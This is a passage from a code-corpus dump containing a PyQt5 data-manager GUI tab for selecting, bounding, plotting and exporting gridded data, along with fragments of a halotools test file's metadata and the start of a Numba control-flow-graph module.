existing_halo_hostid)\n\n\n def tearDown(self):\n del self.table\n\n\n\n\n\n\n\n\n\n", "sub_path": "halotools/utils/tests/test_value_added_halo_table_functions.py", "file_name": "test_value_added_halo_table_functions.py", "file_ext": "py", "file_size_in_byte": 4490, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "unittest.TestCase", "line_number": 23, "usage_type": "name"}, {"api_name": "sim_manager.FakeSim", "line_number": 27, "usage_type": "call"}, {"api_name": "copy.deepcopy", "line_number": 33, "usage_type": "call"}, {"api_name": "numpy.all", "line_number": 39, "usage_type": "call"}, {"api_name": "numpy.any", "line_number": 40, "usage_type": "call"}, {"api_name": "collections.Counter", "line_number": 42, "usage_type": "call"}, {"api_name": "numpy.where", "line_number": 46, "usage_type": "call"}, {"api_name": "numpy.where", "line_number": 47, "usage_type": "call"}, {"api_name": "numpy.all", "line_number": 48, "usage_type": "call"}, {"api_name": "numpy.where", "line_number": 51, "usage_type": "call"}, {"api_name": "numpy.where", "line_number": 52, "usage_type": "call"}, {"api_name": "numpy.all", "line_number": 53, "usage_type": "call"}, {"api_name": "copy.deepcopy", "line_number": 60, "usage_type": "call"}, {"api_name": "astropy.tests.helper.pytest.raises", "line_number": 61, "usage_type": "call"}, {"api_name": "custom_exceptions.HalotoolsError", "line_number": 61, "usage_type": "argument"}, {"api_name": "astropy.tests.helper.pytest", "line_number": 61, "usage_type": "name"}, {"api_name": "copy.deepcopy", "line_number": 71, "usage_type": "call"}, {"api_name": "astropy.tests.helper.pytest.raises", "line_number": 72, "usage_type": "call"}, {"api_name": "custom_exceptions.HalotoolsError", "line_number": 72, "usage_type": "argument"}, {"api_name": "astropy.tests.helper.pytest", "line_number": 72, "usage_type": "name"}, {"api_name": "copy.deepcopy", "line_number": 82, "usage_type": "call"}, {"api_name": "astropy.tests.helper.pytest.raises", "line_number": 85, "usage_type": "call"}, {"api_name": "custom_exceptions.HalotoolsError", "line_number": 85, "usage_type": "argument"}, {"api_name": "astropy.tests.helper.pytest", "line_number": 85, "usage_type": "name"}, {"api_name": "astropy.tests.helper.pytest.raises", "line_number": 97, "usage_type": "call"}, {"api_name": "custom_exceptions.HalotoolsError", "line_number": 97, "usage_type": "argument"}, {"api_name": "astropy.tests.helper.pytest", "line_number": 97, "usage_type": "name"}, {"api_name": "copy.deepcopy", "line_number": 105, "usage_type": "call"}, {"api_name": "astropy.tests.helper.pytest.raises", "line_number": 107, "usage_type": "call"}, {"api_name": "custom_exceptions.HalotoolsError", "line_number": 107, "usage_type": "argument"}, {"api_name": "astropy.tests.helper.pytest", "line_number": 107, "usage_type": "name"}, {"api_name": "copy.deepcopy", "line_number": 115, "usage_type": "call"}, {"api_name": "astropy.tests.helper.pytest.raises", "line_number": 116, "usage_type": "call"}, {"api_name": "custom_exceptions.HalotoolsError", "line_number": 116, "usage_type": "argument"}, {"api_name": "astropy.tests.helper.pytest", "line_number": 116, "usage_type": "name"}, {"api_name": "copy.deepcopy", "line_number": 121, "usage_type": "call"}, {"api_name": "numpy.all", "line_number": 126, "usage_type": "call"}, {"api_name": "numpy.all", "line_number": 129, "usage_type": "call"}]} +{"seq_id": "167326458", "text": "from PyQt5 import QtWidgets\nfrom PyQt5.QtCore import Qt, pyqtSignal\nfrom PyQt5.QtWidgets import (QFileDialog, QTableWidget, QTableWidgetItem,\n QWidget)\n\nfrom DataManager import DataManager\nfrom HelperFunctions import HelperFunction as hf, PlotType, DataAction\n\n\nclass DataManagerTab(QWidget):\n data_selection_signal = pyqtSignal(bool, DataAction)\n\n def __init__(self, tab):\n super().__init__()\n\n self.title = 'Data Manager'\n self.source_directory = \"\"\n\n self.data_manager = None\n\n self.button_width = tab.button_width\n self.element_height = tab.element_height\n self.margin = tab.horizontal_margin\n self.empty_label_width = tab.main_gui.width - 3 * self.margin\n self.height = tab.main_gui.height\n\n self.data_has_level = True\n\n self.is_updating = False\n\n self.data_action = None\n self.plot_type = None\n\n self.init_ui()\n\n def init_ui(self):\n text = \"Source Directory Path\"\n hf.create_label(self, text, self.margin, 10, self.element_height)\n\n text = \"No Source Directory Selected\"\n self.source_directory_label = hf.create_label_with_width(\n self, text, self.margin, 10 + self.element_height,\n self.empty_label_width, self.element_height)\n\n text = \"Select Source Directory\"\n self.source_directory_button = hf.create_button(\n self, text, self.margin, 10 + 2.25 * self.element_height,\n self.button_width, self.element_height)\n self.source_directory_button.clicked.connect(\n self.show_source_directory_dialog)\n\n text = \"Variable: Name\"\n self.name_label = hf.create_label_with_width(\n self, text, self.margin, 10 + 3.5 * self.element_height,\n self.empty_label_width, self.element_height)\n\n text = \"Name: Long Name\"\n self.long_name_label = hf.create_label_with_width(\n self, text, self.margin, 10 + 4.5 * self.element_height,\n self.empty_label_width, self.element_height)\n\n text = \"Units: Units\"\n self.unit_label = hf.create_label_with_width(\n self, text, self.margin, 10 + 5.5 * self.element_height,\n self.empty_label_width, self.element_height)\n\n text = \"Time Series Data\"\n self.time_series_radio_button = hf.create_radio_button(\n self, text, self.margin, 10 + 6.75 * self.element_height,\n self.button_width, self.element_height)\n\n text = \"Heat Map Data\"\n self.heat_map_radio_button = hf.create_radio_button(\n self, text, self.button_width, 10 + 6.75 * self.element_height,\n self.button_width, self.element_height)\n\n self.heat_map_radio_button.toggled.connect(\n self.update_table_on_button_toggle)\n\n text = \"Select data parameters here:\"\n hf.create_label(self, text, self.margin,\n 10 + 7.75 * self.element_height, self.element_height)\n\n self.table = QTableWidget(self)\n self.table.setSizeAdjustPolicy(\n QtWidgets.QAbstractScrollArea.AdjustToContents)\n self.table.horizontalHeader().setVisible(False)\n self.table.verticalHeader().setVisible(False)\n self.table.setRowCount(5)\n self.table.setColumnCount(6)\n\n header_list = [\n \"Parameter\", \"Unit\", \"Minimum Value\", \"Maximum Value\",\n \"Selected Min Value\", \"Selected Max Value\"\n ]\n for row in range(5):\n for col in range(6):\n if row == 0:\n item = QTableWidgetItem(header_list[col])\n item.setFlags(Qt.ItemIsSelectable | Qt.ItemIsEnabled)\n self.table.setItem(row, col, item)\n elif col < 4:\n item = QTableWidgetItem()\n item.setFlags(Qt.ItemIsSelectable | Qt.ItemIsEnabled)\n self.table.setItem(row, col, item)\n else:\n item = QTableWidgetItem()\n self.table.setItem(row, col, item)\n self.table.item(1, 0).setText(\"Time Range\")\n self.table.item(2, 0).setText(\"Latitude Range\")\n self.table.item(3, 0).setText(\"Longitude Range\")\n self.table.item(4, 0).setText(\"Level Range\")\n self.table.item(1, 1).setText(\"Date Hours\")\n\n self.table.move(self.margin, 10 + 9 * self.element_height)\n self.resize_table()\n self.table.cellChanged.connect(self.check_data_bounds)\n\n text = \"Export Data\"\n self.export_data_button = hf.create_button(\n self, text, self.margin, 10 + 15.75 * self.element_height,\n self.button_width, self.element_height)\n\n text = \"Plot Data\"\n self.plot_data_button = hf.create_button(\n self, text, 2 * self.margin + self.button_width,\n 10 + 15.75 * self.element_height, self.button_width,\n self.element_height)\n self.plot_data_button.clicked.connect(self.plot_data)\n\n self.export_data_button.clicked.connect(self.export_data)\n\n self.time_series_radio_button.toggled.connect(\n self.update_table_on_button_toggle)\n self.time_series_radio_button.setChecked(True)\n\n self.statusBar = hf.create_status_bar(self, \"Ready\", 0.5 * self.margin,\n self.height - 5.2 * self.margin,\n self.empty_label_width,\n self.element_height)\n\n self.show()\n\n def get_data_manager(self) -> DataManager:\n return self.data_manager\n\n def resize_table(self):\n self.table.resizeColumnsToContents()\n self.table.setFixedWidth(1.05 * self.table.columnWidth(0) +\n self.table.columnWidth(1) +\n self.table.columnWidth(2) +\n self.table.columnWidth(3) +\n self.table.columnWidth(4) +\n self.table.columnWidth(5))\n self.table.setFixedHeight(1.1 * self.table.rowHeight(0) +\n self.table.rowHeight(1) +\n self.table.rowHeight(2) +\n self.table.rowHeight(3) +\n self.table.rowHeight(4))\n\n def update_table_on_button_toggle(self):\n if self.heat_map_radio_button.isChecked():\n self.plot_type = PlotType.HEAT_MAP\n else:\n self.plot_type = PlotType.TIME_SERIES\n\n self.is_updating = True\n if self.time_series_radio_button.isChecked():\n self.table.item(2, 5).setFlags(Qt.ItemIsSelectable)\n self.table.item(2, 5).setText(\"------\")\n self.table.item(3, 5).setFlags(Qt.ItemIsSelectable)\n self.table.item(3, 5).setText(\"------\")\n else:\n self.table.item(2,\n 5).setFlags(Qt.ItemIsSelectable | Qt.ItemIsEditable\n | Qt.ItemIsEnabled)\n self.table.item(2, 5).setText(\"\")\n self.table.item(3,\n 5).setFlags(Qt.ItemIsSelectable | Qt.ItemIsEditable\n | Qt.ItemIsEnabled)\n self.table.item(3, 5).setText(\"\")\n\n self.is_updating = False\n\n def check_data_bounds(self):\n if not self.is_updating and isinstance(self.data_manager, DataManager):\n row = self.table.currentRow()\n col = self.table.currentColumn()\n if not self.is_cell_empty(row, col):\n if row == 1 and col == 4:\n if self.data_manager.set_begin_time(\n self.table.item(row, col).text()):\n self.table.item(row, col).setText(\n hf.get_str_from_datetime(\n self.data_manager.begin_date))\n if row == 1 and col == 5:\n if self.data_manager.set_end_time(\n self.table.item(row, col).text()):\n self.table.item(row, col).setText(\n hf.get_str_from_datetime(\n self.data_manager.end_date))\n if row == 2 and col == 4:\n if self.data_manager.set_lat_min(\n self.table.item(row, col).text()):\n self.table.item(row, col).setText(\n str(self.data_manager.lat_min))\n if row == 2 and col == 5:\n if self.data_manager.set_lat_max(\n self.table.item(row, col).text()):\n self.table.item(row, col).setText(\n str(self.data_manager.lat_max))\n if row == 3 and col == 4:\n if self.data_manager.set_lon_min(\n self.table.item(row, col).text()):\n self.table.item(row, col).setText(\n str(self.data_manager.lon_min))\n if row == 3 and col == 5:\n if self.data_manager.set_lon_max(\n self.table.item(row, col).text()):\n self.table.item(row, col).setText(\n str(self.data_manager.lon_max))\n if row == 4 and col == 4:\n if self.data_manager.set_lev_min(\n self.table.item(row, col).text()):\n self.table.item(row, col).setText(\n str(hf.round_number(self.data_manager.lev_min, 5)))\n if row == 4 and col == 5:\n if self.data_manager.set_lev_max(\n self.table.item(row, col).text()):\n self.table.item(row, col).setText(\n str(hf.round_number(self.data_manager.lev_max, 5)))\n\n def check_data_bounds_on_button_press(self):\n if self.plot_type == PlotType.TIME_SERIES:\n if not self.is_updating and isinstance(self.data_manager,\n DataManager):\n b1 = self.data_manager.set_begin_time(\n self.table.item(1, 4).text())\n b2 = self.data_manager.set_end_time(\n self.table.item(1, 5).text())\n b3 = self.data_manager.set_lat_min(\n self.table.item(2, 4).text())\n b4 = self.data_manager.set_lon_min(\n self.table.item(3, 4).text())\n if len(self.data_manager.shape) == 4:\n b5 = self.data_manager.set_lev_min(\n self.table.item(4, 4).text())\n b6 = self.data_manager.set_lev_max(\n self.table.item(4, 5).text())\n if b1 and b2 and b3 and b4 and b5 and b6:\n if self.data_manager.begin_date < self.data_manager.end_date:\n return True\n else:\n hf.show_error_message(\n self, \"Please select a non-zero time range!\")\n return False\n else:\n return False\n else:\n if b1 and b2 and b3 and b4:\n if self.data_manager.begin_date < self.data_manager.end_date:\n return True\n else:\n hf.show_error_message(\n self, \"Please select a non-zero time range!\")\n return False\n else:\n return False\n else:\n hf.show_error_message(self, \"Select a source file!\")\n return False\n elif self.plot_type == PlotType.HEAT_MAP:\n if not self.is_updating and isinstance(self.data_manager,\n DataManager):\n b1 = self.data_manager.set_begin_time(\n self.table.item(1, 4).text())\n b2 = self.data_manager.set_end_time(\n self.table.item(1, 5).text())\n b3 = self.data_manager.set_lat_min(\n self.table.item(2, 4).text())\n b4 = self.data_manager.set_lat_max(\n self.table.item(2, 5).text())\n b5 = self.data_manager.set_lon_min(\n self.table.item(3, 4).text())\n b6 = self.data_manager.set_lon_max(\n self.table.item(3, 5).text())\n if len(self.data_manager.shape) == 4:\n b7 = self.data_manager.set_lev_min(\n self.table.item(4, 4).text())\n b8 = self.data_manager.set_lev_max(\n self.table.item(4, 5).text())\n if b1 and b2 and b3 and b4 and b5 and b6 and b7 and b8:\n return True\n else:\n return False\n else:\n if b1 and b2 and b3 and b4 and b5 and b6:\n return True\n else:\n return False\n else:\n hf.show_error_message(self, \"Select a source file!\")\n return False\n else:\n return False\n\n def show_error(self, message: str):\n hf.show_error_message(self, message)\n\n def clear_table(self):\n for row in range(1, 5):\n for col in range(4, 6):\n self.table.item(row, col).setText(\"\")\n self.update_table_on_button_toggle()\n\n def export_data(self):\n if self.check_data_bounds_on_button_press():\n self.data_manager.set_data_action(self.data_action)\n self.data_manager.set_plot_type(self.plot_type)\n self.data_manager.preparation_finished.connect(\n self.export_data_signal)\n self.data_manager.message.connect(self.show_status_bar_message)\n self.data_manager.start()\n self.data_selection_signal.emit(True, DataAction.EXPORT)\n else:\n hf.show_error_message(self, \"Could not start Extraction!\")\n return\n\n def plot_data(self):\n if self.check_data_bounds_on_button_press():\n self.data_manager.set_data_action(self.data_action)\n self.data_manager.set_plot_type(self.plot_type)\n self.data_manager.preparation_finished.connect(\n self.plot_data_signal)\n self.data_manager.message.connect(self.show_status_bar_message)\n self.data_manager.start()\n self.data_selection_signal.emit(True, DataAction.PLOT)\n else:\n return\n\n def update_info(self):\n self.clear_table()\n text = \"Variable: \" + self.data_manager.metadata['name']\n self.name_label.setText(text)\n\n text = \"Name: \" + self.data_manager.metadata['long_name']\n self.long_name_label.setText(text)\n\n text = \"Units: \" + self.data_manager.metadata['units']\n self.unit_label.setText(text)\n\n data = self.data_manager.get_data_time_range_str()\n self.table.item(1, 2).setText(data[0])\n self.table.item(1, 3).setText(data[1])\n\n data = self.data_manager.get_data_lat_range_str()\n self.table.item(2, 2).setText(data[0])\n self.table.item(2, 1).setText(data[2])\n self.table.item(2, 3).setText(data[1])\n\n data = self.data_manager.get_data_lon_range_str()\n self.table.item(3, 2).setText(data[0])\n self.table.item(3, 1).setText(data[2])\n self.table.item(3, 3).setText(data[1])\n\n if self.data_has_level:\n self.table.item(4,\n 0).setFlags(Qt.ItemIsSelectable | Qt.ItemIsEnabled)\n self.table.item(4,\n 1).setFlags(Qt.ItemIsSelectable | Qt.ItemIsEnabled)\n self.table.item(4,\n 2).setFlags(Qt.ItemIsSelectable | Qt.ItemIsEnabled)\n self.table.item(4,\n 3).setFlags(Qt.ItemIsSelectable | Qt.ItemIsEnabled)\n self.table.item(4,\n 4).setFlags(Qt.ItemIsSelectable | Qt.ItemIsEditable\n | Qt.ItemIsEnabled)\n self.table.item(4, 4).setText(\"\")\n self.table.item(4,\n 5).setFlags(Qt.ItemIsSelectable | Qt.ItemIsEditable\n | Qt.ItemIsEnabled)\n self.table.item(4, 5).setText(\"\")\n\n data = self.data_manager.get_data_lev_range_str()\n self.table.item(4, 2).setText(data[0])\n self.table.item(4, 1).setText(data[2])\n self.table.item(4, 3).setText(data[1])\n else:\n self.table.item(4, 0).setFlags(Qt.ItemIsSelectable)\n self.table.item(4, 1).setFlags(Qt.ItemIsSelectable)\n self.table.item(4, 1).setText(\"------\")\n self.table.item(4, 2).setFlags(Qt.ItemIsSelectable)\n self.table.item(4, 2).setText(\"------\")\n self.table.item(4, 3).setFlags(Qt.ItemIsSelectable)\n self.table.item(4, 3).setText(\"------\")\n self.table.item(4, 4).setFlags(Qt.ItemIsSelectable)\n self.table.item(4, 4).setText(\"------\")\n self.table.item(4, 5).setFlags(Qt.ItemIsSelectable)\n self.table.item(4, 5).setText(\"------\")\n\n self.resize_table()\n\n def is_cell_empty(self, row: int, col: int) -> bool:\n if not self.table.item(row, col) is None:\n return self.table.item(row, col).text() == \"\" or self.table.item(\n row, col).text() == \"------\"\n return False\n\n def show_status_bar_message(self, string: str):\n self.statusBar.showMessage(string)\n\n def export_data_signal(self):\n self.data_selection_signal.emit(True, DataAction.EXPORT)\n\n def plot_data_signal(self):\n self.data_selection_signal.emit(True, DataAction.PLOT)\n\n def show_source_directory_dialog(self):\n msg = \"Select Source Directory\"\n file_name = QFileDialog.getExistingDirectory(self, msg)\n\n if file_name:\n if hf.is_valid_npz_source_directory(\n file_name) and hf.can_read_directory(file_name):\n self.source_directory = file_name\n self.source_directory_label.setText(self.source_directory)\n\n self.data_manager = DataManager(self.source_directory)\n\n self.data_manager.error.connect(self.show_error)\n\n if len(self.data_manager.shape) == 4:\n self.data_has_level = True\n else:\n self.data_has_level = False\n\n self.update_info()\n else:\n hf.show_error_message(\n self, \"The Directory is not a valid Source Directory!\")\n return\n else:\n hf.show_error_message(self, \"Directory Selection Failed!\")\n return\n", "sub_path": "programs/gui_program/DataManagerTab.py", "file_name": "DataManagerTab.py", "file_ext": "py", "file_size_in_byte": 19279, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "PyQt5.QtWidgets.QWidget", "line_number": 10, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.pyqtSignal", "line_number": 11, "usage_type": "call"}, {"api_name": "HelperFunctions.DataAction", "line_number": 11, "usage_type": "argument"}, {"api_name": "HelperFunctions.HelperFunction.create_label", "line_number": 38, "usage_type": "call"}, {"api_name": "HelperFunctions.HelperFunction", "line_number": 38, "usage_type": "name"}, {"api_name": "HelperFunctions.HelperFunction.create_label_with_width", "line_number": 41, "usage_type": "call"}, {"api_name": "HelperFunctions.HelperFunction", "line_number": 41, "usage_type": "name"}, {"api_name": "HelperFunctions.HelperFunction.create_button", "line_number": 46, "usage_type": "call"}, {"api_name": "HelperFunctions.HelperFunction", "line_number": 46, "usage_type": "name"}, {"api_name": "HelperFunctions.HelperFunction.create_label_with_width", "line_number": 53, "usage_type": "call"}, {"api_name": "HelperFunctions.HelperFunction", "line_number": 53, "usage_type": "name"}, {"api_name": "HelperFunctions.HelperFunction.create_label_with_width", "line_number": 58, "usage_type": "call"}, {"api_name": "HelperFunctions.HelperFunction", "line_number": 58, "usage_type": "name"}, {"api_name": "HelperFunctions.HelperFunction.create_label_with_width", "line_number": 63, "usage_type": "call"}, {"api_name": "HelperFunctions.HelperFunction", "line_number": 63, "usage_type": "name"}, {"api_name": "HelperFunctions.HelperFunction.create_radio_button", "line_number": 68, "usage_type": "call"}, {"api_name": "HelperFunctions.HelperFunction", "line_number": 68, "usage_type": "name"}, {"api_name": "HelperFunctions.HelperFunction.create_radio_button", "line_number": 73, "usage_type": "call"}, {"api_name": "HelperFunctions.HelperFunction", "line_number": 73, "usage_type": "name"}, {"api_name": "HelperFunctions.HelperFunction.create_label", "line_number": 81, "usage_type": "call"}, {"api_name": "HelperFunctions.HelperFunction", "line_number": 81, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QTableWidget", "line_number": 84, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QAbstractScrollArea", "line_number": 86, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets", "line_number": 86, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QTableWidgetItem", "line_number": 99, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.Qt.ItemIsSelectable", "line_number": 100, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore.Qt", "line_number": 100, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.Qt.ItemIsEnabled", "line_number": 100, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets.QTableWidgetItem", "line_number": 103, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.Qt.ItemIsSelectable", "line_number": 104, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore.Qt", "line_number": 104, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.Qt.ItemIsEnabled", "line_number": 104, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets.QTableWidgetItem", "line_number": 107, "usage_type": "call"}, {"api_name": "HelperFunctions.HelperFunction.create_button", "line_number": 120, "usage_type": "call"}, {"api_name": "HelperFunctions.HelperFunction", "line_number": 120, "usage_type": "name"}, {"api_name": "HelperFunctions.HelperFunction.create_button", "line_number": 125, "usage_type": "call"}, {"api_name": "HelperFunctions.HelperFunction", "line_number": 125, "usage_type": "name"}, {"api_name": "HelperFunctions.HelperFunction.create_status_bar", "line_number": 137, "usage_type": "call"}, {"api_name": "HelperFunctions.HelperFunction", "line_number": 137, "usage_type": "name"}, {"api_name": "DataManager.DataManager", "line_number": 144, "usage_type": "name"}, {"api_name": "HelperFunctions.PlotType.HEAT_MAP", "line_number": 163, "usage_type": "attribute"}, {"api_name": "HelperFunctions.PlotType", "line_number": 163, "usage_type": "name"}, {"api_name": "HelperFunctions.PlotType.TIME_SERIES", "line_number": 165, "usage_type": "attribute"}, {"api_name": "HelperFunctions.PlotType", "line_number": 165, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.Qt.ItemIsSelectable", "line_number": 169, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore.Qt", "line_number": 169, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.Qt.ItemIsSelectable", "line_number": 171, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore.Qt", "line_number": 171, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.Qt.ItemIsSelectable", "line_number": 175, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore.Qt", "line_number": 175, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.Qt.ItemIsEditable", "line_number": 175, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore.Qt.ItemIsEnabled", "line_number": 176, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore.Qt", "line_number": 176, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.Qt.ItemIsSelectable", "line_number": 179, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore.Qt", "line_number": 179, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.Qt.ItemIsEditable", "line_number": 179, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore.Qt.ItemIsEnabled", "line_number": 180, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore.Qt", "line_number": 180, "usage_type": "name"}, {"api_name": "DataManager.DataManager", "line_number": 186, "usage_type": "argument"}, {"api_name": "HelperFunctions.HelperFunction.get_str_from_datetime", "line_number": 194, "usage_type": "call"}, {"api_name": "HelperFunctions.HelperFunction", "line_number": 194, "usage_type": "name"}, {"api_name": "HelperFunctions.HelperFunction.get_str_from_datetime", "line_number": 200, "usage_type": "call"}, {"api_name": "HelperFunctions.HelperFunction", "line_number": 200, "usage_type": "name"}, {"api_name": "HelperFunctions.HelperFunction.round_number", "line_number": 226, "usage_type": "call"}, {"api_name": "HelperFunctions.HelperFunction", "line_number": 226, "usage_type": "name"}, {"api_name": "HelperFunctions.HelperFunction.round_number", "line_number": 231, "usage_type": "call"}, {"api_name": "HelperFunctions.HelperFunction", "line_number": 231, "usage_type": "name"}, {"api_name": "HelperFunctions.PlotType.TIME_SERIES", "line_number": 234, "usage_type": "attribute"}, {"api_name": "HelperFunctions.PlotType", "line_number": 234, "usage_type": "name"}, {"api_name": "DataManager.DataManager", "line_number": 236, "usage_type": "argument"}, {"api_name": "HelperFunctions.HelperFunction.show_error_message", "line_number": 254, "usage_type": "call"}, {"api_name": "HelperFunctions.HelperFunction", "line_number": 254, "usage_type": "name"}, {"api_name": "HelperFunctions.HelperFunction.show_error_message", "line_number": 264, "usage_type": "call"}, {"api_name": "HelperFunctions.HelperFunction", "line_number": 264, "usage_type": "name"}, {"api_name": "HelperFunctions.HelperFunction.show_error_message", "line_number": 270, "usage_type": "call"}, {"api_name": "HelperFunctions.HelperFunction", "line_number": 270, "usage_type": "name"}, {"api_name": "HelperFunctions.PlotType.HEAT_MAP", "line_number": 272, "usage_type": "attribute"}, {"api_name": "HelperFunctions.PlotType", "line_number": 272, "usage_type": "name"}, {"api_name": "DataManager.DataManager", "line_number": 274, "usage_type": "argument"}, {"api_name": "HelperFunctions.HelperFunction.show_error_message", "line_number": 302, "usage_type": "call"}, {"api_name": "HelperFunctions.HelperFunction", "line_number": 302, "usage_type": "name"}, {"api_name": "HelperFunctions.HelperFunction.show_error_message", "line_number": 308, "usage_type": "call"}, {"api_name": "HelperFunctions.HelperFunction", "line_number": 308, "usage_type": "name"}, {"api_name": "HelperFunctions.DataAction.EXPORT", "line_number": 324, "usage_type": "attribute"}, {"api_name": "HelperFunctions.DataAction", "line_number": 324, "usage_type": "name"}, {"api_name": "HelperFunctions.HelperFunction.show_error_message", "line_number": 326, "usage_type": "call"}, {"api_name": "HelperFunctions.HelperFunction", "line_number": 326, "usage_type": "name"}, {"api_name": "HelperFunctions.DataAction.PLOT", "line_number": 337, "usage_type": "attribute"}, {"api_name": "HelperFunctions.DataAction", "line_number": 337, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.Qt.ItemIsSelectable", "line_number": 368, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore.Qt", "line_number": 368, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.Qt.ItemIsEnabled", "line_number": 368, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore.Qt.ItemIsSelectable", "line_number": 370, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore.Qt", "line_number": 370, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.Qt.ItemIsEnabled", "line_number": 370, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore.Qt.ItemIsSelectable", "line_number": 372, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore.Qt", "line_number": 372, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.Qt.ItemIsEnabled", "line_number": 372, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore.Qt.ItemIsSelectable", "line_number": 374, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore.Qt", "line_number": 374, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.Qt.ItemIsEnabled", "line_number": 374, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore.Qt.ItemIsSelectable", "line_number": 376, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore.Qt", "line_number": 376, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.Qt.ItemIsEditable", "line_number": 376, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore.Qt.ItemIsEnabled", "line_number": 377, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore.Qt", "line_number": 377, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.Qt.ItemIsSelectable", "line_number": 380, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore.Qt", "line_number": 380, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.Qt.ItemIsEditable", "line_number": 380, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore.Qt.ItemIsEnabled", "line_number": 381, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore.Qt", "line_number": 381, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.Qt.ItemIsSelectable", "line_number": 389, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore.Qt", "line_number": 389, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.Qt.ItemIsSelectable", "line_number": 390, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore.Qt", "line_number": 390, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.Qt.ItemIsSelectable", "line_number": 392, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore.Qt", "line_number": 392, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.Qt.ItemIsSelectable", "line_number": 394, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore.Qt", "line_number": 394, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.Qt.ItemIsSelectable", "line_number": 396, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore.Qt", "line_number": 396, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.Qt.ItemIsSelectable", "line_number": 398, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore.Qt", "line_number": 398, "usage_type": "name"}, {"api_name": "HelperFunctions.DataAction.EXPORT", "line_number": 413, "usage_type": "attribute"}, {"api_name": "HelperFunctions.DataAction", "line_number": 413, "usage_type": "name"}, {"api_name": "HelperFunctions.DataAction.PLOT", "line_number": 416, "usage_type": "attribute"}, {"api_name": "HelperFunctions.DataAction", "line_number": 416, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QFileDialog.getExistingDirectory", "line_number": 420, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QFileDialog", "line_number": 420, "usage_type": "name"}, {"api_name": "HelperFunctions.HelperFunction.is_valid_npz_source_directory", "line_number": 423, "usage_type": "call"}, {"api_name": "HelperFunctions.HelperFunction", "line_number": 423, "usage_type": "name"}, {"api_name": "HelperFunctions.HelperFunction.can_read_directory", "line_number": 424, "usage_type": "call"}, {"api_name": "HelperFunctions.HelperFunction", "line_number": 424, "usage_type": "name"}, {"api_name": "DataManager.DataManager", "line_number": 428, "usage_type": "call"}, {"api_name": "HelperFunctions.HelperFunction.show_error_message", "line_number": 439, "usage_type": "call"}, {"api_name": "HelperFunctions.HelperFunction", "line_number": 439, "usage_type": "name"}, {"api_name": "HelperFunctions.HelperFunction.show_error_message", "line_number": 443, "usage_type": "call"}, {"api_name": "HelperFunctions.HelperFunction", "line_number": 443, "usage_type": "name"}]} +{"seq_id": "538556759", "text": "#! /usr/bin/env python\n# ______________________________________________________________________\n'''cfg\n\nDefines the ControlFlowGraph class, which is used by the Numba\ntranslator to perform accurate phi node generation.\n\nWhen used as the main module, displays the control flow graph for\narguments of the form . Example:\n\n% python -m numba.cfg test_while.while_loop_fn_0\n'''\n# ______________________________________________________________________\n\nimport opcode\nimport pprint\n\nfrom .utils import itercode\n\nimport sys\n\n# ______________________________________________________________________\n\nclass ControlFlowGraph (object):\n def __init__ (self):\n self.blocks = {}\n self.blocks_in = {}\n self.blocks_out = {}\n 